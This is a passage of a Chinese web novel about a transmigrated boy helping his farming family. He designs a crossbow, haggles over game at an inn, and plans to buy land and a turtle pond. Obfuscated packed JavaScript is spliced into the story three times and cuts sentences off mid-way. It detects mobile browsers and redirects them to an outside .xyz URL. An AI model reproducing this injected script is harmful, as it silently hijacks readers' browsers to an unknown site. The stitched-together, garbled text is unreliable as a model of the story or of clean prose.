父子二人回到家中,却没见到巧娘。 “一准是去河边洗菜去了,来,我带宝儿去看兔崽子!” 赵来贺这次去了五天,抓了十来只兔子,五六只野鸡。 “爹,山上兔子很多吗?” “挺多的,这玩意能生,一窝能生七八只呢,跑得又快,不好抓,山外围都有不少,山上更多了。” 赵丰年有了成算,拉着赵来贺进了屋看自己的画的图。 说到画图的纸笔,还是前些日子巧娘被王三娘炫耀大胖的“墨宝”刺激到,一时冲动给他买的。 赵来贺是个猎手,本身又识字,加上赵丰年的图纸非常清晰明了,一下子就看出来了这是一种箭,就是跟普通的箭有些不一样。 “爹有认识的木匠吗?” 赵来贺以为这是儿子想要的玩具,只是他没想到,儿子居然都会画画儿了,而且画得这样好,一看就知道,不禁又是一阵骄傲,这样下去,日后当个画画儿的,也能养活自己。 “这有啥,你外公就是做木匠的一把好手,刚好过两天我得去你外祖家走一趟,让你外公给咱们宝儿做一个就是了。” 赵丰年这才想起来,外祖家记忆中确实是做木匠的。 “对了,爹,咱们养□□?” 8. 农家日常 这天赵丰年下了学,他舅舅给他带来了一个好消息。 他要的弩箭做好了。 柳大看上去是个很憨厚老实的汉子,唯一的爱好就是做木工,柳老头跟妻子只有一儿一女,刚好有人能继承自己的手艺,这回从女婿那儿得了图纸,听说是给外孙/外甥的玩具,赶着工给做成功了,虽没见过,柳老头却总觉得不像是孩子能玩的玩具,加上女婿家里盖房子,便让儿子把东西带过来问问,顺便看看有没有哪里要帮忙的。 柳大也是心大,来了之后饭没吃上一口,先跟帮工的一伙人一起忙起来了,导致赵丰年先在屋里看到了放在背篓里的弩箭。 没急着试,到了吃饭的时候,他这才见到柳大,只见一米八的汉子露出粗壮的胳臂,一脸憨笑。 “宝儿也上学了,真好。” “舅舅。” “诶诶,宝儿真乖!” “大哥今天住下来吧,天色不早了,估计要走夜路。” 柳大摇摇头,“你们这家具得趁早准备着,爹前两天就拉了料子来,咱们两个人一起,紧赶慢赶也差不多要半个多月才能做好,不能耽误你们搬新家,爹说了,宝儿读书了,那书桌、书架也不能少,他要亲自给宝儿做呢。” 见留不住人,赵来贺也不强求,让巧娘从屋后提了一只野鸡,并一小包红糖,一壶浊酒,给柳大装到背篓里。 “鸡给大尺小尺补身子,酒跟爹他老人家的,红糖孝敬岳母的,你别推辞。”柳大只好接着了。 送走了柳大,赵来贺这才想起来他送过来的东西。 赵丰年也不说废话,直接拉着他爹去后山坡上走了一圈。 回来的时候,赵来贺提着一只黄鼠狼,神情恍惚。 “这是怎么了?哎呦,你怎么猎了这东西,臭得狠,肉估摸着不好吃啊。”巧娘捂着鼻子,都不敢上前来接东西。 赵来贺这才仿佛回过神来,“他娘,明天我再上山一趟!” 巧娘愣了一下,“这才去过一趟,家里还剩一只兔子呢,可以吃两天了。” 但是新得了武器的赵来贺心头火热,只想赶紧再试试武器,若不是现在天色已晚,怕不是现在就想冲到山上大展身手。 赵丰年没拦着,他知道如今他们家需要用钱,赵来贺肯定要上山,也劝不动,他当初做出弩箭就是为了赵来贺上山能有点保命的东西,等养鸡作坊开起来,或者说等鸡孵化出来,走上正轨了,赵来贺就不用上山了。 房子的事有人忙着,巧娘给干活的人煮好了糖水,一大翁只放了一点点,赵丰年尝了尝,只略带一点甜味,但是这就足以让大家伙儿高兴了,甚至有些人舍不得喝,选择用竹筒把自己的那份带回家给孩子喝。 巧娘煮好了帮工的,转身就给儿子塞了一碗甜到嗓子眼的红糖水。 赵丰年:“......” 赵来贺上山后第三天,顾夫子在课堂上宣布今天中午给学生们放假。 后天才是端午,大家隐约觉得不应该是今天,但是都很开心。 “顾小苗,你怎么不开心呀,今天提前放假诶!” “哎,别提了,昨天野猪从山上冲下来,把我家跟我大伯家的地都给糟蹋了,豆苗全都啃了,我娘哭了一宿,我大伯还受了伤。”叫顾小苗的孩子是上河村村长家的孙子,平日里也是调皮捣蛋,今天难得安安静静。 “野猪啊,太可怕了吧。” “我听人说野猪是吃人的。” “可是野猪没有吃顾小苗的大伯啊。” “我家就在大春叔家附近,那天我爹也说听见了野猪的声音。” 学堂里叽叽喳喳议论开了,这时候只听外面一阵子喧嚣。 “快走呀,顾小苗,你爷爷说要大家一起去打野猪呢!” 外头这话一出,孩子们都坐不住了。 赵丰年却是想到了上了山的赵来贺。 上河村就在赵家村隔壁,这边山林密集,虽然有不同上山的路,但是万一那头野猪刚好碰上了赵来贺呢?上次不也碰上了吗? 回到家中,赵丰年这才知道,巧娘也听说了这件事,大家都在议论顾家村被野猪糟蹋了菜地,还伤了人的事,一时间有些人心惶惶,生怕那头野猪被上河村的人赶跑了,又从赵家村这边下来了。 虽则这片山林广袤,可这种事情谁又说的准。 过两天就是端午了。 在这里,端午、中秋这样的节日,出嫁的女儿一家是要带着东西回娘家的,巧娘早早就准备好了,六个鸡蛋,一包糖,一块肉,一壶酒,就是一份相当不错的礼品了。 晚上为了省灯油,大家都吃得早,吃过了晚饭,帮工们都走了。 就在巧娘跟赵丰年都觉得今晚可能赵来贺还是回不来的的时候,大半夜门被敲响了。 “他爹?” “快,快进屋!”赵来贺压低着声音,拉着妻子回到了屋里,又用棍子撑了一道门,这才松了口气。 “这是怎么了?” “碰到了野猪。” “啥?你伤到了吗?”巧娘急得不行。 “放心放心,没伤着,是顾家村在围猎野猪,我就远远地看了一眼,他们人多,费了点功夫,我瞧着动静挺大的,没往前凑。” 巧娘拍了拍胸脯,“没伤着就好,你做的对,他们人多,又不少你一个,还是管好自己最重要,没收获不要紧,最要紧的是人没事。” 这时候,赵丰年也听着动静过来了。 赵来贺喜看到儿子就笑,索性将他抱到了夫妻两的床上。 这时候他才有点激动,“谁说没收获了,这一次收获大着呢!我猎一只鹿,还有三头山羊!” “这,这么多呢?”巧娘也惊了。 “多亏了咱宝儿做的弓箭,你是不知道,咻的一下就出去了,都不用怎么费力!打那些鹿啊羊的是真好用!” 巧娘只知道丈夫找兄长柳大给宝儿做了玩具,哪里知道这个玩具是打猎用的。她跟赵来贺一样,都为宝儿这么早就学会了画画感到开心,但是换做是武器,就有点疑惑了。 “宝儿,你咋知道那个弓箭呢?” 这也是赵来贺想知道的。 赵丰年眨了眨眼睛,“夫子的一本书上看来的。” 这下两人不疑惑了,书里都写了,他们宝儿这么聪明,知道也很正常吧,虽说以前三哥读书好像也没这么厉害,但是毕竟他们宝儿聪明嘛,都能从书里想到养鸡作坊了,也不是谁都比得上的。 “明天一早我就去问大伯借板车,趁着没人注意早些把东西拉到县城里卖了。” “我跟你一块儿去,你都累几天了,我一起搭把手。” 赵来贺没反对,他确实太累了,赵丰年见状,也提了出来,“爹,娘,我也去,顾夫子给我们放了假,明天不用去私塾。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14751185|157618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 巧娘最不忍心拒绝儿子,加上儿子一个人在家她确实不放心,如今也不好再麻烦赵老头张氏看顾。 “那索性去村长家借牛车吧,明天咱们都轻松一点。” 赵来贺没意见,为了明天赶早集,抓紧时间随便洗了洗,这才睡下。 昨晚赵来贺下山太晚了,早上巧娘跟赵丰年看到猎物,这才知道赵来贺用藤条编了条板子,就这样把猎物拖了下来,死了头小羊,夫妻俩决定留下这头小羊,端午节给柳老大,赵老头各自送点,剩下的留给儿子补身体。 就这样,一家人赶着牛车进了城。 “咱们买给酒楼,看看收不收,普通人家估计不会买整头的,咱们不好杀。” 巧娘跟赵丰年自然没意见。 仙客来是县城里最大的酒楼之一,刚到这里,赵来贺跟巧娘都有点拘谨,不敢上前询问。 还是伙计眼尖,先留意到了车上的猎物,问他们是不是要买的。 赵丰年连忙回应,伙计这才带着人往后院走,又去通知掌柜的。 “这鹿没多少气了,羊瘦了点。” 几人一听,就知道这是要压价了,当即心里一沉。 “这样,鹿给你们二十两,羊两只十五两。” 赵来贺觉得不少了,刚要答应下来,却被儿子拉了拉衣角。 “掌柜伯伯,我们刚进城,听说仙客来是县城里第二大的酒楼,我们还没有去第一大的酒楼看看呢,等我们先去过了,一会儿再回来跟您做买卖如何?” 王掌柜生气,“谁说的,我们仙客来就是县城里最大的酒楼,他们天香楼算什么!”等回过神来,他顿时觉得有趣,“你这个小娃娃倒是有意思。” 赵丰年不紧不慢,“听说前些日子下面好几个村子都糟了野猪的害,怕是山上不太平,猎户们近来都不敢进山了,掌柜伯伯听说了吗?” 王掌柜笑了笑,“你这小娃娃确实有几分机智,算了算了,这样,鹿给四十,羊两只二十如何?” 赵丰年盯着他深深看了他一样,叹了口气,转身跟赵来贺夫妻道,“爹,娘,既然天香楼是县城最大的酒楼,那我们还是也去问问吧?” 赵来贺跟巧娘拿不定主意,决定听儿子的。 正要离开,那王掌柜一跺脚,“鹿跟羊一起给你们六十八,再多可没有了,我也是要做生意的,没多少赚头!而且这鹿羊都受了伤,天渐渐热了,得马上处理,不好保存。” 这话就是瞎扯了,前不久顾夫子才说如今鹿肉受追捧,一斤鹿肉竟要一两,他们这只鹿岁不够壮,但少说八十多斤还是有的,怎么样都是有赚头。 赵丰年点头了。 而赵家夫妻惊呆了。 掌柜的给赵来贺银子的时候,不禁感叹,“你们家这孩子怎么养的,真够机灵的。”掌柜家也有孩子,但这个岁数的孩子都是调皮捣蛋,像这么小就帮着大人讨价还价的,有条有理的,还真是头一回见,不得不说,他都有点羡慕这两夫妻了。 赵来贺还是有点拘谨,但是听他夸赞自家儿子,不禁笑道,“宝儿聪明,像他娘。” 一进一出,从原本三十五到六十八银子,这就到手了。 赵来贺夫妻还有些不真实。 “爹,娘,我想去一趟书肆。” 赵丰年一句话将两人又拉回了现实。 “去去去,现在就去,宝儿要啥都成!” 9. 农家日常 书厮老板看到赵来贺夫妻,衣服虽然干净,穿着打扮一看就是土里刨食的,当即没了介绍的兴致。 赵丰年自顾自地去里面,在赵来贺的帮助下拿了几本书,又回到柜台前面。 “再拿两刀纸,一只方砚,两碇墨,” 掌柜的听到一个声音还以为自己听错了,低头一瞧,竟是一个五六岁的孩童,还是那对夫妻领着的,当即有些怀疑。 “这些东西可不便宜,你们确定都要?” 赵来贺巧娘可以容忍别人瞧不起自己,毕竟县城里的人是看不上乡下人,但是他们却不想要别人看不起儿子。 更别提今天还赚到了钱。 “纸要五钱,砚台一钱,墨碇一两,是一两六钱,加上书,一共三两二钱。” 怪不得读书费钱呢,这么点东西,不能吃不能喝的,竟要三两二钱。 两人有些心疼,但是今天赚到了钱,再说这是儿子要的,那就没事。 “买了!” 这下老板是真惊到了,能一次拿出这么多钱,就是普通县城百姓都要咬咬牙,谁能想到这些乡下泥腿子竟然这么有钱呢。 但是有生意上门就是好事,当即换上了笑脸。 “几位当真是爽快,令公子他日必定高中,榜上有名呐!” 赵来贺巧娘听见这话,更加没话说了,掏银子都掏得乐呵。 赵丰年见状,抬头道,“张老板,我们买了这么多东西,不如饶我一杆毛笔?若好用,下回再来。” “我们这都是小本生意,这真是——”张老板有些犹豫。 “不需多贵,只那最次的饶我一根如何?” “罢了罢了,就饶你一只吧,你这小孩子,嘴皮子可厉害。” 等赵丰年一家人离开,张老板忽然想起来,“我有说过我姓张吗?” 一家人采买了些东西,又去孙大夫的药铺复诊,得到了儿子身体渐好的好消息,这才去暂存牛车的地方取牛车。 回去的路上,巧娘忽然想到。 “宝儿,你咋知道那老板姓张呢?” 赵丰年咬了一口糖葫芦上的糖浆,“书肆上写着了,‘张氏书肆’。” “哦,原来是这样,咱们宝儿真聪明。” “爹,娘,你们想过这些钱怎么用吗?” 赵来贺跟巧娘对视一眼,异口同声,“买地!” 确实符合如今大部分人的想法,有了钱就买地,种更多的庄稼,填饱肚子,卖粮食,然后继续买地。 赵丰年不反对。 按照现在的物价,上等良田二十两银子一亩,普通的田地十五两银子,再次等的也要八两。 这六十八听起来很多,有些普通农家人甚至一辈子都可能赚不到,但是也只能买四亩中田了。 难怪分家的时候大家对四房两分地的竹林耿耿于怀。 晚上,一家子坐在床上一起愉快数钱。 “……房子的砖瓦用了十两,剩下了十二两五钱,今天六十八两,去掉买书买纸的三两二钱,加上其他的花销,还剩下六十四两一钱五十文,总共就是七十八两一钱五十文!” 不得不说,这数字真是让人安心极了。 “如今咱们家是三亩地,一亩水田,两亩旱田,我想着,拿出三十两出来买地,只是是买一亩上田一亩中田,还是都买中田……他爹,你决定吧?” 赵来贺想了想,有些犹豫。 其实在赵丰年看来,他们家人少,地多了种不过来,但是想到这个时候的人就想要地多,他爹娘定然也是这样,如此,大不了请帮工种,也能满足他爹娘想要土地的愿望。 “爹,这里面区别大吗?” 赵家夫妻谈事情从不避讳赵丰年,也不会因为他年纪小就忽略他,尤其是这段时间赵丰年的表现,让夫妻二人也隐约意识到,自家儿子确实是跟其他小孩不一样的。 因此,赵来贺毫无保留地将这几种地的区别说了一下。 这个时代的百姓还没有形成施肥的概念,干了浇水,有虫了捉虫,加上种子的良莠不齐,现代的时候一亩早稻能收获八百斤,杂交水稻更是一千斤左右,而这里仅仅三石,这里的一石约等于一百斤,也就是一亩地不过产出三百斤左右。归根结底,一是没有好的种子,二就是肥力不足。 一亩良田,种个几年,也得变成薄田、下田。 大豆得以很快传播开的原因,除了顶饱,还有就是人们已经发现种过了大豆的土地,再种其他作物,能生长得更好。 现代人都知道,种豆肥田的原理是豆类植物上有根瘤菌,能够分泌一些含氮的物质到土壤中,补充氮素,从而达到肥田的效果。 可是这里的人只能看着摸索,靠着老一辈的经验。 “爹,娘,都买中田吧,我有办法,若不出意外,能让中田产出跟上田差不过,另外咱们家竹林那边的池塘是公家的吗?能够买下来吗?” 赵丰年也不是没见过村里的田地,心里有把握能让土地增产,但是毕竟时代不同,种子质量也不同,因此没敢说大话说翻几番,也以免届时失望太大。 但是赵来贺夫妻何曾见过中田跟上田产出一致的。 是以一听这话,夫妻二人就坐不住了,如果这是真的,那可不得了了! “宝,宝儿,你老实告诉爹,这些你都是怎么知道的?” 赵来贺不傻,就算书里有记载,那其他人怎么没发现,就单单让他们宝儿知道了呢,他读书也不过才半个月。 赵丰年知道瞒不住,于是将原本想好的说辞告诉了两人。 “爹娘,自从上次生病后,我就经常做梦,梦里有一位白胡子白头发白衣服的老爷爷给跟我讲课,说了好多好多东西,这些都是他教我的。” 如果赵家夫妻觉得他是妖怪,就当他信错了人,也给他一个教训吧。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14751186|157618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 但是没有。 赵来贺深吸了一口气,忍不住搓手,“原来是这样,原来是这样,我就说咱们宝儿是不一样的,连天上的老仙翁都来梦里给咱宝儿上课呢~” 巧娘抹着眼泪,“咱们宝儿上辈子一定是天上的仙童,人家都说神仙要历劫,宝儿的劫难已经过去了,往后就好了,只是,这老仙翁总是在梦里教课,宝儿会不会睡不好觉呢?” “……” 赵丰年露出一个真心实意的笑容。 “娘,你放心,不会休息不好的。” “既然宝儿都说有办法了,咱们家就买中田吧,三十两,中田能买两亩呢!” 巧娘一算,也忍不住笑道,“上田只能买一亩,买中田是两亩,那咱们家就有了五亩田了。” 赵丰年虽然很感动于父母对自己的信任,但是他想的是,总得花点时间改良,不能叫那五亩地都荒在那里,但是赵来贺夫妻二人一致认为,他们不怕等! “放心,你爹我还能上山打猎赚钱。” “对啊,娘以后还要养鸡呢,到时候还怕卖不上价格吗,宝儿只管读书就是了。” “等等,宝儿要买池塘?”巧娘这才记起了。 赵丰年点点头,昨日在仙客来,他悄悄问过了掌柜,甲鱼在临县少见,但是府城的人确实喜食甲鱼,尤其是那些贵人老爷们,都觉得这东西是大滋补之物,愿意花大价钱买。 既然这样,干脆养鸡跟养甲鱼一起,甚至养甲鱼可能带来的收益要高于鸡,不过鸡蛋鸡苗都能卖钱,以量取胜,再者,“霸王别姬”可是名菜,到时候鸡跟甲鱼打包卖,说不通鸡也能卖去府城,打开销路。 “是这样的,爹,娘,那天我听县城酒楼王掌柜说,府城的贵人喜欢吃甲鱼,也就是那天爹带回来的王八,一只买到五两呢,我想着,既然这样,我们不如把池塘买下来,咱家田里甲鱼多,把田坝都打穿了,索性抓起来养,到了秋天还能买个好价钱。” 话音刚落,屋里静悄悄。 “嘶——五两一只,这哪里是王八肉,这是黄金肉吧。”赵来贺不可思议。 巧娘也回过神来,猛的站了起来就往屋外钻。 “欸,他娘,你去哪呢?” “我去瞅瞅咱家的大宝贝!” 赵来贺带回来的甲鱼后来被养在屋外泥巴灶旁边的一个破水桶里,前几日巧娘还想着儿子不乐意玩的话挑个时间得扔远点,不然死在了灶台边上,做饭都不舒坦了。 这会儿只恨不得把它供起来。 若不是天晚了,巧娘恨不得马上催赵来贺去村长家。 买地的事情决定好了之后,巧娘开始分零花钱。 “我那里还有几百个铜板,够用了,城里的小孩子都有零花钱,给宝儿吧。”赵来贺乐呵道。 于是,虽然只六岁,但是已经拥有了十文零花钱。要是让村里其他小孩知道,怕不是要羡慕死。 10. 农家日常 第二天就是端午节了,昨夜躺在床上,夫妻两畅想着未来满笼鸡,满池子甲鱼的场景,都激动得没睡好,第二天一大早赵来贺更是迫不及待拎着两只兔子赶去了村长家,提了要买地跟池塘的事。 村长叫赵大生,跟赵家是同宗,论辈分赵来贺得叫一声叔。 听了赵来贺的意思,赵大生先是点点头。 “你家就三亩地,眼瞅着宝儿也养住了,确实要为将来做打算了,多买几亩地,往后宝儿也有的依仗,只是西头那池塘都荒废许久了,附近又没几户人家,你家要是想用起来,自己引了水就是了,旁人也不会说什么,没必要买下来。” “大生叔,我是想用那池子养点鱼,不为了用水,您知道的,宝儿的身子弱,一直在吃药,大夫说往后也要用好东西养着呢,我家地少,上山打猎又是饥一顿饱一顿的,十有九空,这不前两天去县城里,看见人家卖鱼,就琢磨着也养点什么,有个能 给宝儿买补药的营生。大生叔体谅我不容易,才让我用着,这份心我记着呢,只是我却不能占这个便宜,今天您给了我方便了,回头村里人就该说您偏心了,咱们还是该怎么来怎么来。” 赵大生再次点点头,也没再坚持。 商量好等端午节后就去量地改地契后,赵来贺这才离开。 赵来贺走后,赵大生喊来大儿子。 “来贺家这是要起来了,你平日里多去他那边转转,看看有什么能帮上忙的,他家房子也要好好用心。” 赵来元点点头,笑到,“那肯定的,别的不说,就冲我来贺哥那一天一顿的肉菜,我也得好好用心啊。” “今天你陪彩云回娘家,顺路去趟县城,带上来贺的兔子,去瞧瞧你三叔。” 赵来元翻了白眼,“爹,彩云家里县城还有三里路呢,哪就说顺路就,再说了,他一年到头都不回村里看爷奶,我们倒上赶着看他算怎么回事。” “大摇大摆地去,让街坊四邻都知道,就算他赵大为发达了不认乡下亲人了,这里穷亲戚还担心他没肉吃呢。” 赵来元笑了,“这个行,就是可惜了这肥兔子,不过我猜想我那高高在上的三叔大概看不上我这穷亲戚的兔子,看来我还得提回来了。” 赵大生笑骂了一声,赶了他出去。 办好了买地的事,赵来贺背着背篓,巧娘牵着宝儿,一家人这才开开心心地去柳河村。 柳大一大早就陪着媳妇带着双胞胎儿子去了岳家,知道妹妹一家要来,刚吃过晌午饭,也没多呆,几人就回家了。 “这是宝儿吧,长这么大了,哎呦,不是我说,十里八村还没见着这么俊的娃呢!”柳大媳妇姓夏,因着赵丰年身体缘故,赵来贺夫妻两很少带着他出门,这还是她第二次见到外甥。 赵丰年喊了舅妈,就一边坐着,任由好奇的双胞胎表兄上下打量。 “对了,巧娘你猜我今天看见谁了?你那二嫂!” 夏氏跟王小红都是一个村的,今天又是走亲戚的日子,两人碰见也不稀奇,但是巧娘还是适当地表示了好奇。 “嗨哟喂,那架势,活像是抬了头猪给她爹娘似的,结果听她那弟媳妇说,没几样能看的东西,听说她想送孩子去认字读书呢,想跟她爹娘借钱。” 巧娘惊讶,“这,她弟媳能同意?” 夏氏一脸鄙夷,“哪能同意,差点没拿着扫帚给王小红赶出来,人家是还没孩子,但也不想供一个外人不是,诶,巧娘我可没说你是外人哈,你看我,嘴上也不过脑子!” “瞧你说的,我还不知道嫂子你么,没有的事!” “那我就继续说了,小王氏哭得可惨,听说她公爹丈夫都动摇了,若不是她爹娘碰巧走远亲不在家她也不用回娘家,只怕这事还真让王小红给办成啰,啧啧......对了,听说你们送宝儿去读书了?” 巧娘笑着点头,“刚读了一个多月。” 夏氏也挺高兴,“这是好事,哪怕自个儿苦一点,也得让孩子认几个字才好,将来也不至于土里刨食,我看宝儿这身板也不像是能学妹夫上山打猎的,读书最好,说不定日后还能当个秀才公。” 巧娘更高兴了,她没想过孩子去考科举,只想让他认识几个字往后去县城里做事轻松些,不过嫂子这话也是看重宝儿,“只盼着他能健健康康才好呢,不拘将来做什么,能养活自己就成。” “宝儿坐得住,一看就是个读书的苗子,我家这两个是没指望了,让他俩进学堂,跟要了他们命似的,一个不到两个月就回来了,另一个倒是坚持了半年,结果年底一问,才知道夫子让背的东西是一个不会。我想着,既然不是这块料,还是跟着家里学木工吧,将来有门手艺傍身,小尺还好,人机灵,又像咱爹,手上也灵巧,只是大尺,真是空有一身牛劲,脑子也笨,白费那么大块头了,木头上的活计怎么教都不会,往后也只能种种地了。” 赵丰年看了眼一直憨笑着让自己吃果子的大表哥,跟同龄十三岁的孩子想比,确实块头很大,两人站在一起,很难让人相信他们是双胞胎兄弟,该说不说,跟舅舅像了十足十。 回去的时候,换巧娘背着背篓,里面放着张氏跟夏氏塞的回来的十来个鸡蛋。 赵来贺怕累着儿子,因此赵丰年此刻是在他背上的,尽管他尝试过拒绝。 “前头听说二嫂想送柱子去县城的学堂,后头咱们家事多我也没去打听这上学堂的事,只前些日子听大伯娘说什么没去成,柱子是八月的生辰,比咱们宝儿大了四个月,如今大胖跟咱们宝儿都开始读书了,二嫂怕是着急了。只是我看他那边房子也差不多盖好了,估摸着分家的那点银子已经不剩下多少了。” 赵来贺点点头,“二哥向来不是什么勤快的性子,地里的活计一向是不上心的,本来地就不多,想要送柱子去县城还是难了些。” “就是送去几个村里的学堂也是要全家人勒紧裤腰带的,你这些日子山上山下忙的,咱们家事情多,我也忘记告诉你了,前些日子二哥二嫂把柱子送到老宅去了,如今柱子是在爹娘那边呢。” 赵来贺还真不知道这事,“这是个什么意思?” “还能有什么意思,老人家心疼孙子,有大胖二胖一口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14751187|157618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吃的,还能没柱子一口?再说,听说大胖从陈秀才回来还要教二胖认字呢,二哥二嫂这是打算让柱子也跟着学一学,这段日子,没少闹腾。” 都是为了孩子,赵来贺叹了口气,把儿子往上颠了颠。 “都难。” 这里才说到人,刚进了村就碰上带着儿子的赵来喜夫妻俩了。 赵来贺点了个头。 “二哥。” “老四,这是刚从岳家回来?宝儿还要背着呢?”赵来喜笑完,一时也无话。 巧娘笑到“晌午那会儿日头大,便给他少穿了一件,没成想这会儿又刮起风来了,怕他着了凉呢,怎么不见青青翠翠?” 闻言,王小红将目光从她背上的背篓移开。 “家里一堆子事呢,哪里能都出门串亲戚,要说还是四弟妹你舒服,只用管一个孩子,宝儿身子骨弱,吃的也少,不像我们家,每天一睁眼就是三张嘴要吃饭,一个个的,天天嚷着要吃肉,你说说,这青天白日的,哪里去找肉吃,也不是谁都像老四那么有本事,三天两头就往家里带野兔野鸡的。” 巧娘听她说宝儿身子骨弱便有些不舒坦,只笑,“二嫂真是跟在福中不知福,青青翠翠平日里什么活都帮着做,勤快又机灵,村里谁不夸几句羡慕的,三个孩子确实不好养,别提你们家了,就是我跟他四叔,从早忙到晚,省衣缩食的,才能养着宝儿一个,真要说起来,还是二哥二嫂有本事。” 见占不到便宜,王小红索性不装了,拉着往赵来贺背篓上边凑的儿子就要走。 “……几脚路就走不动了,还要你娘来拉你,又不是没手没脚,还要人背不成,没城里人的命倒是有了少爷的架子,惯的你!你爹也是,没那命还天天想躺着不干活,有那么多兄弟有什么用,人家兄弟能帮忙,关你什么事……” 谁都听得出来这是指桑骂槐呢。 “我呸,真是兄弟也没见她当初借钱给咱们宝儿看病啊,这时候扯什么兄弟情,起初我们问爹娘拿钱,旁人还没说什么,她王小红第一个不答应,生怕我们掏空了家底。” 巧娘也是气极了,她愿意跟几个妯娌井水不犯河水,维持明面上的体面,但若是触及她家里人,那她也不会跟她们客气。 赵来贺也摇摇头,“别跟她一般见识,二嫂你还不知道,眼睛里只有一个利字,往后少来往就是了。” “我就是气不过,说什么打猎吃肉的,往日还没分家的时候,你还少给家里拿了吗,肉吃到嘴上了,转头又怕咱家拖累了他们闹着要把咱们分出去,真是一个个都不记你的好,就说吧,哪里有兄弟连弟弟起房子打地基都不来看一眼的,我跟你讲,他赵老二家已经去过就算了,往后三哥要起屋子了,你也别过去!” 赵来贺自然答应,就是没巧娘今天这话,赵老三家起屋子他也不会去,自家当时起屋子打地基第一天,除了赵老头赵来金,另外两个兄弟一个没来,旁人家的妯娌都来帮忙做饭,他们家人影都见不到一个,只老太太送了几趟菜,帮着洗个碗还要被大嫂嚷着叫回去,赵来贺虽然嘴里不说,但心里还是有气的。 11. 农家日常 第二天,赵来贺就到算去村长家商量买地的事,刚出门,迎面就看见了来帮忙的赵来元,手里还拎着一个纸包。 “来贺哥,拿着,县城里的点心,给宝儿甜甜嘴。” 赵来贺哪里肯接,县城里的点心卖得都贵,家家都不富裕。 “让你来帮工,你给带着东西像话吗,快收起来,给有松、花妞留着!” “家里有呢,而且这可没花钱,你不知道,昨天我去我三叔家了。” “这倒是奇了,莫不是留你吃饭了?” 不怪赵来贺奇怪,附近几个村里谁不知道赵家村村长这位三弟。 村长原是兄弟三人,老二小时候夭折了,老三自小机灵,不知道哪里学来的话,嚷着以后要当大官,父母本就疼爱老幺, 因没了个儿子,更舍不得幺儿吃一点苦,后来更是送到了县城里读书,一直供到了二十多岁,又花了二十两彩礼,在县城里寻摸了一门好亲事,当时在附近几个村子里谁不羡慕,只是谁成想,这老三后面竟然是中了秀才翻脸不认人了,去了县城从此也不回来了。 家里的父母不管不顾,兄长嫂子辛苦劳作供他读书也不认账,村长父母一气之下,直说要断了血缘关系。 以往老人家想儿子了,想着去县城看看,无一不是面都见不到被下人赶出来,其他人去也差不多如此,是以赵家村没有不知道的,毕竟老两口天天在村里头转悠,没事干就要骂儿子。 是以,听闻赵来元竟然去吃了顿饭,那可不是要惊讶嘛。 赵来元大笑,“可不是,还要感谢来贺哥你那兔子,昨天我找上门去,敲门敲得大声,他家左邻右坊的都出来瞧,我就嚷着爷奶想着儿子孙子,惦记着人,前面好几年回回过来回回被赶回去,派我来问问情况,送点肉菜给补补,你是不知道,昨日个走亲戚,又赶上饭点,家家户户人都多,这不,都过来瞧热闹呢,我能怎么办,反正不给我开门,我就把这些事都说一遍啰。 我那好三叔约莫是没脸了,叫他媳妇过来亲自给我开的门,好生好气给我请了进去。我就说我没吃饭,这兔子也死了,我都好些日子没吃肉了,就为了省下来给他们送,他们拿我没办法,外面还有人跟着进来问,就烧了一桌菜,我们吃了个溜圆才回来,回来的时候又说桌上的点心不错,他恨不得我赶紧走,索性把点心都包给我带回来了,还让我以后没事不要去,我呸,谁要去见他,个忘恩负义的东西。” 来帮工的众人听了都唏嘘不已,一边骂赵大为忘恩负义,一边说可不能供着兄弟读书。 王三娘因上次被婆婆骂过,今天便抽空过来这边看看,刚好听了全程,她越听越心惊,只觉得这不就是她们家嘛,都是供一个兄弟读书,还刚好是老三,虽然现在分家了,但是三房可还是住在老宅里的,看上去也完全不像是要自己出去找活干的样子,要是他真想再读下去,爹娘疼孩子,万一被蛊惑了,说不定还真昏了头要供他读下去呢? 想到这里,王三娘再也待不住了,当即就往家跑。 赵来贺可不知道这事,将赵来贵的点心交给了巧娘,便去找村长了。 村里买地都是有章程的,总有人或因为着急用钱,或者其他缘故要卖地,但是大多时候都是东一块西一块,比较分散,也是赵来贺运气好,村西头住着一户外姓的人家,这些年做了点小生意赚了钱,便把地卖了,在县城里购置了房产,如今举家搬到了县城,过年那会儿,赵来贺还去喝过喜酒。 两亩中田,就在山脚下,还连着三亩下田,赵大生便问赵来贺要不要一起买下来,那家人答应若他愿意一起买下来可便宜一两银子,一番讨价还价之下,赵来贺花了二十两买了下来。 能买到连在一起的地实在不容易,下田虽然产出不多,但是村里多的是有下田的,大不了届时多辛苦些。 也是这几亩地实在地薄,不然也轮不到赵来贺。 因着他一口气买下来,那王家也很爽快地将半亩地的小麦当作了添头,赵来贺自是欢喜。 